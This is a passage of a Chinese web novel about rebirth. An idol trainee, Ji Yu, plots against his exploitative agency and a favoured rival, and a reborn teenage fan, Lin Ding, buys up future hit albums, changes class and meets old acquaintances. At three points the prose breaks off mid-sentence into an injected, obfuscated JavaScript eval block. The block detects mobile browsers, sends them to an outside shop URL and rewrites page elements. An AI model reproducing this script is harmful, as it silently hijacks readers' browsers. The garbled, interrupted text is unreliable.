笑? 他已经很久没有这样……自然地、无他想法地笑过了?前世最后那几年,他的笑容是舞台上专业的营业式微笑,是面对镜头时灿烂的伪装。 真心实意……那好遥远了。 他慢慢踱回那个狭窄的唱片通道,空气中还残留着一丝少女衣摆的气息。他抬起头,看向最高处那一排唱片,目光却逐渐冰冷。 回忆掺和着前世的寒意汹涌而来。 被经纪公司“问鼎娱乐”无限期的雪藏,被资本家威力压地喘不过气的诸多时刻……他呕心沥血写出的词曲,被无情地夺走,冠上别人的名字发表出去,只因他年少无知时,签下的那一纸无良合同。 公司里,昔日称兄道弟的伙伴们,眼神渐渐变得疏离。唯一的温暖,是和他一同出道、性子耿直的好友顾蓝。可就因为顾蓝在一次会议上为他打抱不平,便立刻遭到了牵连——本该在国民说唱综艺上大放异彩的天才rapper,被公司轻而易举地替换下来,和他一样被经纪人无情地丢进了“冷藏库”。 在问鼎里,不听话、不服从的人,都没有好果子吃。 他们的组合“A.T.W(寓意against the wind)”的处境,和他们的名字寓意背道而驰。除了顾蓝,另外两位成员将组合屡次不顺的所有的怨气都对准了他——他们觉得,若不是纪屿固执地不肯服从问鼎的安排、向问鼎低头,他们的组合又何必走到解散这一步? 他们本来当是一颗冉冉上升的星星…… 演唱会的前一周,他其实已经病得难以站立。可公司怕传出去影响卖座,只让私人医生去他家里给他挂水开药,明令禁止他去医院做任何的检查、惹人关注。他就那样拖着高烧不退、精神薄弱的身体,咬着牙,一遍遍练习。 让他坚持下来的,其实不是公司的压榨。 纪屿也想,把最好的舞台,呈现给那些曾给予他很多很多力量和爱意的粉丝们。 公司之内,上级对他这根硬骨头早已深恶痛绝;放眼公司之外,同期的竞争者们虎视眈眈,恨不得抓出他的错处,将他被舆论吞没……可最终,那将他推向死亡的手,究竟是谁的? 他到最后,都没能看清。 是庆功宴上那杯味道诡异的酒?还是每日服用的药物被人动了手脚?还是长期透支的身体,发出了最后的反抗呢? 幸好…… 纪屿闭上了眼睛,深吸了一口气。 上天终究给了他一次重来的机会。 从死亡的剧痛中挣脱,睁开眼,竟回到了十年前。 一切错误的起点,一切还都可以改写修正。 他绝不会再签那份毁了他的合同。 但…… 这个圈子如此丑恶,他真的要再次入局吗? 这几日,他无数次问自己。 如果选择逃离,他也许可以做一个素人,做一个普通人,拥有安稳又平凡人生。他的膝盖也不会因为无休止的带伤练习,而彻底报废……最终与挚爱的舞台永别。 真的值得吗? 他纠结着,感到十分迷茫。 纪屿将店里那些被翻动过的的唱片重新摆正归位,动作缓慢放松。做完这项工作,他独自站在店内一角,环顾着这个小小的唱片店。 这里就像是他的避难所,是他唯一能喘息的地方。 眼前不由自主地浮现出刚才那个女孩的样子。 她谈起那些他所热爱的音乐时,眸子里闪烁的光,是真挚的,是热烈的,是纯粹的。让他想起了他第一次听这些碟片时,心中的无限感触。 她的目光和话语,像一根隐形的线,轻轻地,扯动了他内心深处那差一点就要被自己遗忘的热忱。 是,音乐,舞台。 他是放不下的。 他分明如此热爱创作和歌唱。 口袋里的手机震动起来,打断了他的沉思。 是顾蓝的来电。 “哥们,”电话那头的声音压得很低,但也能听得出强烈的无奈和哀怨,“葵姐刚通知,五一假期要加训……真服了,说是加训,说的这么好听,其实就是给那个空降的新人当垫脚石呗,让我们去给他做榜样,真是笑死人了!唉,你明天唱片店的兼职,怕是悬了。” 纪屿握着手机,指尖收紧,语气却平静得很:“好,我知道了。” 挂断电话,他眼底的最后一丝犹豫,彻彻底底的消散了。取而代之的是一种玩味和讥讽的眼色。 那个空降的新人……他当然记得,记得清清楚楚。 那可是问鼎的投资方大力扶持的“皇子”戴无极,未来会无情夺走他们整个团队的心血,solo出道——这个人抢走了他们为组合出道悉心共创的曲子,导致A.T.W延迟出道了大半年。 这个人,还在日后无数次地给他使绊子、针对他。 前世此时,纪屿还天真地以为,那只是个和他们其他人一样普通的练习生。 “有趣。” 他低声自言自语道。 平凡的人生固然美好,但他那些受过的伤,被践踏的尊严,被夺走的梦想……在这重生的机遇里,他会一笔一笔地,一件一件地夺回来。 * 清晨八点,林定猛地睁开眼。 生物钟还停留在996的高压模式里。 入眼是贴着夜光星星的天花板,以及从窗帘缝隙里,偷偷溜进来的阳光。 昨天发生的一切…… 古老唱片店、那双漂亮的手、那张深入记忆的脸……会不会是一场过于逼真的梦呢? 她急忙坐起来,掀开被子跳下了床,赤脚冲到书桌前—— 那个被她抱得有些皱了的纸袋,安静地放在那里。 林定深吸一口气,伸手进去,指尖触碰到坚硬的CD盒边缘,抽了一张出来。 ……灰灯乐队《相忘》的封面清晰映入眼帘。 不是梦。 她昨天真的见到了二十岁的纪屿。 后知后觉的真实感,让林定有一种晕乎乎的狂喜,她的嘴角忍不住上扬,人在房间的地板上疯狂跺脚。 就在这时,门外传来行李箱滚轮的声音。 她卧室的门被推开。 妈妈站在门口,年轻漂亮,只是脸上带着长途跋涉后的疲惫和惯有的审视。她扫了林定一眼,语气没有温度地说:“哟,你吃错药了?假期居然能醒这么早?” 老爸拖着沉重的行李箱跟在后面,只疲惫地看了看林定,什么都没说,便向主卧走去。 “隔壁苏阿姨说,你们五一回去就要分班了?这么重要的事情,你怎么没告诉我呢?我和你爸昨晚不在家,你也不知道打个电话和我们说说吗。” 若是前世十六岁的林定,此刻大概已经炸毛了,用顶撞的方式,来对抗妈妈这令人喘不过气的控制欲了。 但现在的她,只是在心底无奈一笑。经历过996大厂老板那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16613283|187627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' PUA话术和日常的道德绑架,母亲这点程度的刻薄……真不算什么。 她没有发脾气,也没有道歉,只是非常自然地转移了话题,语气平静,十分乖巧:“嗯,要分班了。所以呢我想早点起来,去省图学习……我怕假期人多,去晚了没位置了。” 这个话听起来非常合理,甚至完美符合父母对她的期望。 妈妈果然被她带偏了,只是皱了下眉,点了点头:“知道了。要去就快点吧,别磨磨蹭蹭了。那可是省图书馆,人很多的。” 林定快速地收拾好书包,洗了把脸。看着镜子里那张紧致、没有黑眼圈和疲态的脸,忍不住戳了一下自己。 年轻真好啊。 没有容貌焦虑,没有脱发困扰,所有的累所有的苦好像只需要一场好梦就能消失。 她素面朝天地出了门。 路过文具店,她进去买了好几本最厚的笔记本——最朴实无华的那一种,换做曾经的她,买的都是花里胡哨、没有实用性的本子。 付钱的时候,看着低廉的物价,她再次感慨重生福利的同时,也摸了摸自己的钱包。 自由和青春是回来了,但……财富自由也同时离她远去了。 前世虽然累成一条狗,但银行卡里的数字确实能给她带来很多安全感。 昨天买了几张专辑,就花掉了柜桶里的三分之一的压岁钱。 经济独立计划,必须提上日程了…… * 到了省图书馆,果然人很多。她兜转了好几层楼,才在一个书架的角落找到一个位置。 林定坐下,摊开本子,先尝试着回忆高考题目。 奈何时间实在是久远,具体的题目早已记不清了,只剩下一些知识点的模糊记忆。她凭着这些记忆,将这些碎片化的知识点写了下来……之后要着重复习这些。 紧接着,她根据前世的自己的高考分数,分析了自己的强弱项——理综她考崩了,这个是她一直引以为耻的事情。 想要考进顶级传媒大学的话,录取分数线可高了。 她深吸一口气,开始制定详细到每月、每周的学习计划——其实她曾经是P人,可大厂多线程的任务让她措手不及,做不完工作也让她挨过不少骂,久而久之,她便成为了有点假的P人。 做完计划后,她高效地复习了两个小时知识点,又用一小时搞定了所有五一假期作业。不得不说,在前世狗公司锻炼的高效工作能力,放回学生时代还真是好用的很……直到肚子发出声音,她才发觉已经下午两点多了。 这回重生,学习的动力不再是父母的逼迫。 林定决定收拾书包离开了。 下楼梯的时候,忽然被人从拍了拍肩。 “林定?我刚远看就觉得是你!” 她回头,看到一个有点眼熟的女生。脑子里飞速搜索……对了,这是班上的文娱委员,好像是叫吴思婷?她隐约记得这个人是个追星达人……林定高一的时候还对追星没有兴趣,曾经的她十分不理解追星的意义。 “好巧。”林定笑着回应道。 “你也来图书馆啊,好用功!太好了,你吃饭了没?一起吃午饭去吧?我知道隔壁街有家炒面绝了!”文娱委员是个社牛,热情地挽住林定的胳膊。 两人走进了那家很旺的炒面店。等上菜的时候,吴思婷兴致勃勃地掏出手机,迫不及待地与她分享自己最近追的几个“哥哥”,展示他们帅气照片。 “……诶还有这个!你看看,上个月才从国外回来的练习生成子秋!虽然现在还有点糊糊的啦……但我觉得,他以后能红,很帅吧?”吴思婷把手机递过来,林定看见了一个眼熟的清秀男生。 5. 05 对家 成子秋。 这个名字林定可太熟悉了。 她捏着筷子的手猛地收紧了。这个人,她记得很清楚,前世纪屿最大的对家之一。这人的经纪公司老买通稿黑纪屿,传闻还抢过纪屿的综艺资源,双方粉丝可是日撕夜撕。 看着吴思婷花痴的模样,林定心里有一股怒气混着烦躁涌里上来。她气的没经过思考,脱口而出:“他?算了吧……长相普的很,业务能力也一般般啊,唱歌跑调,也就跳舞还凑合。你入股他还不如看看别人,追这个人啊纯属浪费时间。” 话一出口,气氛立刻降至冰点,林定也意识到自己反应过激了,开始后悔自己说话不经大脑。 吴思婷的笑容僵住,完全没想到自己的新墙头会得到林定这样毫不客气的评价,因为林定在她的记忆中是个没有追星的女孩,没想到居然了解这些。 林定没有想到吴思婷没有责备她,反而是捧着脸,继续花痴状问道:“林定,没想到你对成子秋这么了解呢,快给我说说还有一些什么细节不?这人还是太糊了,网上他的信息太少了……” 林定心里翻了个白眼。 她都这样说了,怎么人家还是对成子秋这么感兴趣啊! 她匆匆扒拉了两口粉,借口家里有点事,赶紧跑了。 走在回家的路上,她才慢慢冷静下来。 吴思婷的反应,给她提了个醒。纪屿对家的势力早已存在,已经开始圈粉。 她必须更加战略性地应对——她需要写下来,关于纪屿未来的所有的关键事件、潜在危险、竞争对手、危险人物、可能发生的危机时间线。这一切,都必须白纸黑字地记录下来,时刻提醒自己。 她下意识地兜转去了那家唱片店。 推开门。 柜台后站着的,却不是昨日那个英俊的少年,而是一位戴着老花镜的憨厚大叔,正仔仔细细地擦拭着一张黑胶唱片。 “小姑娘,随便看啊。” “嗯嗯。”林定心底十分失落,她快速看了每一个货架后面,都没有那个身影。于是她随意逛了逛,便安静地退了出来。 走了几步,经过一家街角的甜品店,门口悬挂的电视,正在播放着娱乐新闻。 “……新人歌手孟泳书,于昨日发布了个人首张原创专辑《’孟’境深处》,专辑已在各大唱片店上架……” 孟泳书?! 林定暂停了前进的步子,难以置信地看向屏幕内那个青涩的年轻女星。 未来的顶流歌星!创作型女歌手! 而她的首张专辑……因为初期太糊,发行量超少,后来在她参加音综爆红后,那张专辑被炒得巨贵,一张难求。 一个爆金币的点子地在她的脑海里炸开了。 囤货! 她可以去音像店,大量购入这些未来会成为“爆款”的初代专辑以及签名版周边。等这些人成名之后,再转手卖出!这中间的利润,有点香…… 她兴奋得跳起来!距离孟泳书爆红,还有差不多两年时间呢,完全来得及。 很好!学习计划有了,赚钱的思路也有了,还差什么呢? 是了,健康,革命的本钱。 前世被掏空的身体,还有猝死的结局是她最大的悲剧。她必须从现在开始把身体养好,拥有健康的体格。 看了眼时间,不到四点,距离晚饭还有些时间,回家还早。林定想起来舅舅就在附近的中医馆工作。 结局是……一个小时后,她提着几大包中药,和一脸怒气冲冲的母亲,在中医馆前台面面相觑。 “你怎么回事?哪里不舒服?怎么不跟我说一声就跑来这里?”妈妈的声音又急又气,却还是拿出钱包给她付了账。 林定看着妈妈,有点恍惚。 这句话……恍如隔世。 前世的父母,似乎永远只关心她的工作和前途体不体面,好似从未在乎过她“累吗”、“难受吗”。每次她试图和父母沟通辞职,换来的永远是“年轻人这点苦算什么”、“别那么矫情”、“我们都是这样过来的”。 她坐在副驾上,一言不发,直到车开到小区保安亭,她才轻声道:“我不舒服好久了。” 妈妈停稳车,语气出乎意料地软了下来:“不舒服……那就好好休息,五一假期学习可以先放一放。以后……下次不舒服,要记得跟妈妈说,知道了吗?” 林定猛地侧头,看向妈妈。 她从未想过妈妈会对她说出这样子的话。 是重生改变了父母吗?还是……因为她从前的叛逆和拒绝沟通,几乎每次都用争吵来应对一切,才将妈妈也逼成了那个样子? 她不知道答案了。 “下车吧。”母亲叹了口气,“你爸今天不知道哪根筋搭错了,照着菜谱学做了菜,非要在家吃……真是瞎搞。” “在家吃很好。”林定回答道,声音有一些哽咽。 她深吸了一口小区里带着饭菜香气的晚风,心里被一种复杂的情绪填满了。 也许,重生这份礼物,所给她带来的馈赠,远比她最初想象的,还要多得多。 “明天本来想带你去S市参加你小表舅的婚礼,既然你不舒服就别去了,在家待着,我和你爸去……” “不不不,我要去我要去!我现在没不舒服了!”林定急急道,S市,那可是孟泳书的出道地,那边的唱片店肯定有这个“小糊咖”的专辑卖,这可是她的暴富计划。 妈妈翻了个白眼。 * 第二日,林定便跟着父母坐上了九点多飞往S市的航班,去参加远房……小表舅的婚礼。 具体是称呼这位亲戚为表舅么,她在脑子里绕了好几个弯。妈妈本是S市人,只因外公外婆早年工作调动,才举家迁到了G市定居。这位小表舅,是外婆最小的妹妹五姨婆的儿子,因着五姨婆年龄比外婆小了许多,算起来,小表舅竟只比林定大了不到十岁。 “唉,妈妈这边的亲戚关系真是……”她把脑海里乱麻一样的关系抛开,思绪很快就跳到了对她来说更紧要的事上——到底该去哪家唱片店,才能买到那位孟泳书的首张专辑呢? 为了这次“囤货大业”,她昨晚把自个儿房间里所有抽屉里藏着的红包和信封都搜刮了出来。高中嘛,老师不让带手机上学,移动支付也远未像未来那样普及,父母给的零花钱、生活费、新年红包,都是纸币。捏着那叠颇有分量的现金,她心里踏实多了。 当爸爸妈妈在预订的酒店办理入住ing,林定趁机笑嘻嘻地说:“我就在附近街上随便逛逛,一会就回来!” 妈妈只说了一句“别耽误晚上出发去婚礼啊”便同意了。 林定心下十分庆幸,还好父母把酒店订在了繁华地段,交通便利;也幸好这次婚礼来的亲戚多,亲戚们家里安排不下,他们才得以住在酒店,让她拥有了这自由活动时间。 今天一定是被幸运女神眷顾的一天——没走几步,一家知名唱片行就出现了在不远处。林定乐着推门而入。 店内冷气开的很足,但是老板和店员瞅到她是个学生,都懒得来招呼她。林定也无所谓,反正她目标明确,很快就在一个不起眼的角落找到了孟泳书的货架。 “放的这么偏,真的是……有眼不识泰山。”她看着在唱片店边缘位置的专辑,小声吐槽道。林定将货架上仅有的十几张专辑全部拿了下来,放在购物篮里,走向了收银台。 收银台的店长吃了一惊,没想到一个学生打扮的小妹妹竟然买这么多专辑……呃,是那个不出名的小歌手啊,害,现在的家长,真是不管孩子乱花钱的毛病么,这种唱片也要买啊……店长心内鄙夷,但表面上却堆上了笑容:“您好,这些您全要了吗?” 她递过去厚厚的一沓现金,道:“嗯嗯。对的……” 林定刚回答完,她的视线却被柜台旁边的促销筐吸引住了,筐筐上“打折”两个大字特别醒目,可真正吸引她的,不是那两个字,而是……她呼吸都停住了,有点不敢相信自己的眼睛,于是她赶紧凑近了些。 竟然有!纪屿那天提到的那张唱片!! 那天他给他推荐和介绍这张碟的时候,林定只得表现出很好奇的模样。那张碟,她作为他上一世的粉丝,怎么可能不知道——纪屿在某一次杂志访谈里提到过,这张异常冷门的碟片,因为发行量极少,连纪屿都未曾拥有过实体唱片。 竟会在这里,还被以这种被“遗弃”的方式——打折出售。 她的手指发颤地将那张蒙尘cd从旧箩筐里抽了出来,对店员问道:“这张我也要了,多少钱?” 店长摇摇手,笑容灿烂地说:“您都买了这么多张了,这一张就送你啦!” 这个世界好玄幻啊,今天的收获远远超出了她的预期,这千金难求的碟片居然能免费获得…… 店员把找零的钱递给她,然后给林定拿了个很漂亮的包装袋来把这些想打包在一起——“这张暂时不打包,单独装起来,谢谢。” 提着满满的收获走出唱片行,林定又沿着繁华的街逛了几家音像店,零零散散地又搜刮到几张孟泳书的专辑——看来此刻确实是糊的很,新专辑的铺货量真低。 但那张绝版唱片,却再也没能遇到第二张。 “也好,独一份才更显 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16613284|187627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 珍贵。”她心想,等回了G市……一定要亲手把这张唱片带给他。 回酒店刚推开房门,劈头盖脸就是妈妈的一顿数落:“都几点了?四点半了!我们五点就要出发!赶紧的,看看你像个什么样?” 林定这才从淘到宝物的兴高采烈中回过神来,瞥了眼镜子里的自己——头发很乱,身上还是那件早上赶飞机出门时随便套上的T恤,随意得很,确实不适合这样出门参加婚礼……老母亲嘴上骂骂咧咧,手上却利落地从行李箱里抽出一条早就为她准备好的浅蓝色连衣裙,又催促她赶紧洗脸。 一番折腾后,镜子里的人就变了样。 头发被妈妈梳得很乖巧,戴上了一枚浅米色的细发箍。浅色的裙款式大方,真真切切的少女感扑面而来。 妈妈满意地点点头。 林定看着镜中的自己,有一瞬间的恍惚。前世进入大厂后,所有的精力都被无穷无尽的加班榨干了,逐渐放弃了自己形象的管理,觉得有那打扮的时间,不如多睡十分钟更舒服呢。而且,也不值得为那些砂杯同事和领导打扮自己。 可现在……重活一世,或许真的该对自己好一点。 去往婚礼酒店的车上,她累的靠着车窗昏昏欲睡,感觉才闭上眼,就被爸爸叫醒,说已经到了。 婚礼现场布置得浪漫。林定见到了那位小表舅,面相看着就是个老实人,而站在他身边的新娘子则明艳动人,岳父岳母虽然上了年纪,但依旧有着超乎同龄人的外表和气质。 “新娘家的基因真好。”林定咕哝道。 作为男方亲戚,他们被安排坐在礼厅的一侧。同席的是三、四姨婆两家人,有两个表哥表姐。父母正与他们寒暄,解释着外公外婆因年事已高未能前来。 忽然,表姐拽了她一下,兴奋地指着女方亲友区的一席,压低声音惊呼说:“哇塞!你看那边!那个人长得好帅好像明星!” 林定顺着她指的方向望去—— 竟然是…… 成子秋?! 他怎么会在这里呢? 林定拉着表姐一番打听才知道,成子秋竟然是新娘子的堂弟。不过他家这一旁支非常坎坷,听说前几年他父母生意破产,欠了不少债,还向族里亲戚们借了个遍,闹得很不愉快,家族中人人避之不及。 如今他签了公司也出了道,虽然还是个小糊咖,但公司乎替他家还清了债务,这些势利的亲戚们立刻又是一副新的嘴脸,纷纷过去那桌寒暄敬酒。 想到前世,她本以为自己对成子秋算是了解很深,没想到他公司的公关居然做的这么好,这样的黑历史竟然都没有被爆出来。 得知这些内情,林定的心情有些复杂。前世她对他的所有观感都来源于他和纪屿的竞争,自然是很厌恶了。可现在,看着他被一群虚情假意的亲戚围住,竟让她生出了一些怜悯。 也许是因为她的目光停留太久,也许因为她目光中的情绪过于直白。 正与人周旋的成子秋似有所感,微微抬眼,对上了她的视线。 隔着一整个喜庆的礼堂,两人的目光在空中短暂相接。 成子秋微微一怔。 那女孩看他的眼神不是好奇,不是崇拜,甚至不是他常见的打量艺人的评估。而是…… 他向身旁人询问了一句,得知那是新郎家的亲戚,一个还在读高中的孩子。 果然是看错了。他心中自嘲,大概是被今夜这虚伪的场面弄得心神乱了……一个高中生怎么会用这种悲悯的眼神看他。 他重新挂上略带疏离的礼貌笑容,应付着围上来的亲戚,内心却是一片冰冷。 成子秋觉得自己是个笑话,觉得自己像个商品,今夜在这里,就是他最大的价值——供这些“亲戚”们炫耀和围观。 而他,无力反抗。公司替他家填了那个巨大的窟窿,代价就是签下了长长的卖身契。他必须听话,必须红起来,才能偿还公司的恩情。所有的难堪和委屈,都只能独自消化。 这时,林定的表姐按捺不住少女对帅哥的花痴,拉着林定想去“近距离看下小明星”。林定内心极度不情愿,她对成子秋的负面印象根深蒂固,但碍于情面,还是陪表姐走过去了。 表姐兴奋地和成子秋搭话,语气里满是素人见到明星的激动。 成子秋礼貌地回应着,目光却落在一旁沉默、甚至眼神里带着明显嫌弃的林定身上。 是她。 这次他看清楚了。那女孩看他的眼神里,确实没有丝毫见明星的热切,反而有种……不屑掩饰的反感和疏离。 他探究地想主动搭话,不料这个女孩子竟转身离去。 6. 06 定定 第二日清晨,天未亮,林定便和父母拖着行李赶赴机场,搭乘最早的一趟航班返回G市。 五一假期的“特种兵”行程代价十分惨重——飞机刚一落地,她便要冲回家拿书包,再匆匆赶往学校。 迟到是肯定的,妈妈在路上替她给原来的班主任打了个电话,请了上午的假。当她终于喘着气跑到教学楼时,午休的铃声早已响过……但课室里却不似往常般安静。 没有人午休,大多数人在收拾着课桌里剩余的书本杂物,有些人甚至直接把装满书的课桌往隔壁班推去。 林定愣了一下,马上醒悟过来。 是了,今天下午,就是最终,各自奔赴新班级的时候。上午,原班大概已经开了最后一次班会,并听班主任念了分班名单,进行了一场仓促的正式告别会。 而她,自知无需再去找老师询问自己的去向。那个理科班的班别,早已刻在她的记忆里。 她将会在那里,遇见她最好的闺蜜晓春,结识一群好朋友,也会……再次遇到那个让她不堪回首的“初恋”,那个她曾默默注视了整个青春的男孩子。 她慢下脚步,踱到了11班门口。 林定站在课室的前侧,目光缓缓向室内望去。 课室后排,此刻还是陌路人、正低头整理着书本的女孩,就是晓春。还有许多张熟悉的面孔,都散发着无比青春的气息,讲台旁站着的是那位十分不通人情味的班主任马老师。 教室的窗户都大大开着,那面历经无数学生、边缘带着笔墨污渍的淡绿色窗帘,被微风轻轻地吹了起来,飘向了窗户外面。而窗外,是熟悉的虫鸣和暖阳。 眼前“未认识”的朋友们,十年后,有人仍在学术里深耕,读研、读博;有人考上了人人羡慕的“铁饭碗”,一世安稳;有人自己创业,赚得盆满钵满;也有人生意落败、工作钱少事多,为生活奔波劳碌,亦或是和她前世一样,工作表面光鲜得体,内里却不堪溃败难言。 很多人,都已经成为了出色的大人。 而二十六岁的自己呢? 恍惚间,林定意识到二十五、二十六岁好像是大多青春校园剧大结局时的年纪,可她却没有得到圆满幸福的结局。 她的十六岁和二十六岁又有什么区别呢? 除了时间残忍地在她身上碾过了十年,除了那份高压工作给了她疾病和压抑……她内在的那个自我,仍然天真如少年,迷茫如初。 幸好。 她深吸一口气,将胸腔里那些感慨轻轻吐出。 幸好,上天给了她重来的机会,那些错的、痛的,她都不会再要了。 她的路已经想清楚了——好好读书,考上好的大学,重新捡回她的爱好,努力积蓄力量。 她也不会再轻易喜欢上别人了。 见过了那样一个耀眼的人,其他的人,好像难以再闯入她的视线。 重来一次,十年后,会是什么模样? 她能不能,成功守护自己想拯救的人? 她能不能,真正成为自己梦想中自己? 阳光透过了晃动的窗帘,在她眼底投下了星星点点般明亮的光斑。 她相信,她可以的。 林定深吸一口气,自然地走到那个未来会成为她最好闺蜜的女孩旁边的空位坐下,给她一个友善的笑容:“你好啊,晓春。” 邓晓春明显愣了一下,把那张漂亮的脸蛋转了过来,眼神里带着些许困惑:“呃,你好……你是?”她快速在记忆里搜索了一番,对这张脸有点印象……这好像是……那天不做眼操的那位……? “你不认识我,但我认识你,”林定笑得很狡黠,让晓春有种莫名奇妙、说不清的熟悉感,“你是学生会纪检部的嘛,每次眼保健操都要经过我们班的,谁不知道你?” 这个理由似乎说服了晓春,她笑了笑:“原来是这样。”她发现这个主动凑过来的新同学眼神明亮,说话很对胃口,两人很快就自然地聊开了。林定心中暗自感慨,缘分真是够奇妙的,她想起晓春未来也会成为纪屿的粉丝,也不知道这一世,她还会不会再次粉上他呢。 正聊着,一个熟悉的身影火速地窜进了教室,一屁股坐在了林定身后的位置上,还用超大的力气拍了拍她的肩,使得林定痛的发出了一声惊呼。 “我的好同桌!又同班了!缘分啊!” 林定回头,看到了何纯那张没心没肺的笑脸。 她希望这一世,所有她在乎的人都能有一个好的人生。而那些悲剧……比如何纯家的变故,比如晓春那段该死的恋情……她都要尝试一一阻止。 一个略显清亮的男声在她后侧方响起:“同学,请问这个位置有人吗?” 林定循声抬起了头。 晕,真是怕什么来什么。 来的不是别人,正是她那所谓的“初恋”,此刻正指着何纯旁边的空位,脸上挂着自以为帅气的笑容。 林定仔细、重新打量了他一下。 身高是很高,皮肤白了点,五官……嗯,只能说还行吧。但那双眼睛里的莫名的优越感是怎么回事? 自己上辈子肯定是瞎了。还好只是漫长暗恋无疾而终,幸好没真的在一起过,当时自己也是没眼光的,怎会…… 及时止损,林定!别再回忆这不堪的过去了,她在内心疯狂告诫自己,目光不自觉地带上了一丝审视和鄙夷。 这复杂的目光在何纯看来却变了味,他摸不着头脑,大大咧咧地嚷嚷道:“林定,你看啥呢?” 林定撇了撇嘴,悠悠地转回身子,用一种好像在讨论学术问题的语气感慨道:“没什么,我只是在想,我们学校提倡的垃圾分类规定,总觉得还是执行地不够彻底,有一些有害垃圾,就该丢在指定的回收点,免得不小心放错了地方,污染环境而不自知。” 何纯一脸懵:“???” 晓春却像是听明白了,淡淡地瞥了一眼后座的男生,抿着嘴笑了一下后,凑过来继续聊天:“林定,你追星吗?你喜欢谁啊?” “追,”林定脱口而出,“我当然是喜欢纪屿。” “谁?”晓春努力思考了一下,一脸地茫然,“我没听说过他,是新出道的吗?演过什么剧?” 林定这才回过神来,此刻的纪屿还是个网上都查不到的小透明,晓春当然不知道了。她赶紧补充道:“嗯……是一个练习生,还没出道。但,我很看好他,他以后肯定会很红的。”林定的语气十分笃定。 “真的吗?给我看看照片!”晓春拖着腮,看上去感兴趣极了。 “……嗯,照片……”林定支吾着,她没法把前世存满照片的手机变出来,“我……我回去找找,找到了发给你看。” 林定心里的小本本,默默地把“收集纪屿早期物料”的任务写了下来。 聊着聊着,下午的上课铃就响了。班主任走上讲台,开始了新班级的第一次班会。整个下午就在班会、自我介绍、班委竞选和收取五一作业中度过了,没有安排新课,也没有布置作业,算是分班后一个难得的缓冲。 放学的铃声终于在众人期待中响起,就在大家以为可以高高兴兴放学,享受没有作业的放学时光之时——班主任残忍地在教室后墙,贴出了五一前分班考的成绩年级排名。 林定心里暗道不妙,还是不信邪地凑过去看了一眼。 果然……惨不忍睹,唉。 排名低得感人。 “我靠,林定!”何纯的大嗓门在她身后响起,带着一如既往的“嘴臭”,“你物理居然考得这么烂,谁给你的勇气选理科的?太不可思议了!” 林定想打死他的心都有了。 这时,邓晓春也凑了过来,看完了排名,然后郑重其事地拍了拍她的肩膀,语气无比“真挚”地安慰道:“没事的!你看我化学考得跟你物理一样烂!咱们总分排名一模一样!没事的!” 林定看着晓春那一本正经“比烂”的样子,哭笑不得。 终于是放学了,学校门口真是热闹非凡,欢声笑语。 林定的心情也是一样,一想到今天算是没作业……那不如……她摸了摸书包里那几张精心淘来的唱片,心头一热。 于是,林定和何纯、晓春道了别,她转身,脚步轻快地朝着另一个方向——那间承载着她此刻所有期待和欢喜的唱片店,小跑而去。 * 五一假期所谓的“加训”,在纪屿看来,就是一场拙劣戏剧。 “皇子”戴无极毫无意外地空降了,带着他那份藏不住的优越感,出现在练习室里。前一世,为了营销这位“皇子”的创作天才人设,公司不止一次将纪屿呕心沥血写出的词曲冠上了戴无极的名字。最初的忍辱负重,换来的却是公司变本加厉的索取。 而他的明确拒绝,并没有让这份屈辱停止。戴无极找了其他的业内枪手,可那些人的创作结果却差强人意,于是这个人,借着公司的权势,让经纪人拿来了纪屿家的钥匙,像小偷一样潜入他的私人空间,偷走了他充满无数灵感的手稿和D ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16613285|187627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' emo,冠上自己的名字制作全网发表。 重新看到这张虚伪的的脸,在他面前礼貌地喊着“师兄”时,纪屿只觉得胃里的食物在翻江倒海,恶心到了极点。 问鼎娱乐美其名曰让“新人”来感受师兄们的训练氛围,不过就是想让这位“皇子”提前物色物色,未来谁有潜力成为他的工具人罢了。 纪屿在心里冷笑。 “哥们,你咋回事?这两天怎么有气无力的?”训练后,顾蓝勾住了他的脖子,纪屿眉宇间那份无法掩饰的疲惫,让顾蓝感到有些不对劲,“这不像你啊?这几天怎么老走神?动作错了、拍子也进不对,老师脸都绿成那样了。” 顾蓝是真觉得纪屿能火。 在他眼里,纪屿是他见过最有天赋又最努力的人,他值得站在最高的地方,成为一颗闪耀的星星。 纪屿看着顾蓝担忧的眼神,心里泛起了千万复杂的情绪。他勉强扯出一个笑容,不着痕迹地推开了顾蓝的手:“没事,可能是有点累了吧。” 前世顾蓝为了他和公司抵抗,最终也落得被雪藏的下场,失去了光明的星途。 疏远,也许是目前最好的办法,让顾蓝远离他,不被他的任何事情牵连。 顾蓝郁闷地松开手,怎么也想不明白。 最后只能把这归因于—— “唉, maybe这就是传说中二十岁男人该死的青春期么?真够善变的!”他在内心无声地呐喊。 * 